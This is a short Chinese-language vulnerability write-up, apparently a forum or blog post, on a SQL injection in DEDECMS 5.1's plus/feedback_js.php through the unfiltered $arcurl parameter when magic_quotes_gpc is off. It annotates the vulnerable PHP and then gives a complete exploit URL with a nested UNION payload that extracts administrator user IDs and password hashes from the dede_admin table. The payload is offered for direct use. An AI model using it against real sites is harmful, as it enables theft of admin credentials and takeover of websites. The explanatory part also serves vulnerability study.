这个漏洞是我和Rainy'Fox一起发现的
同样是在magic_quotes_gpc=off的情况下可用
漏洞版本:DEDECMS 5.1
此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl
...... $urlindex = 0; if(empty($arcID)) { $row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' "); //此处$arcurl没有过滤 if(is_array($row)) $urlindex = $row['id']; //存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了 } if(empty($arcID) && empty($urlindex)) exit(); //如果$arcID为空或$urlindex为空则退出 ...... if(empty($arcID)) $wq = " urlindex = '$urlindex' "; //我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了. else $wq = " aid='$arcID' "; $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc"; $dlist->Init(); $dlist->SetSource($querystring); ...... |
看一下利用方法吧,嘿,为了闭合我用了两次union
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
【编辑推荐】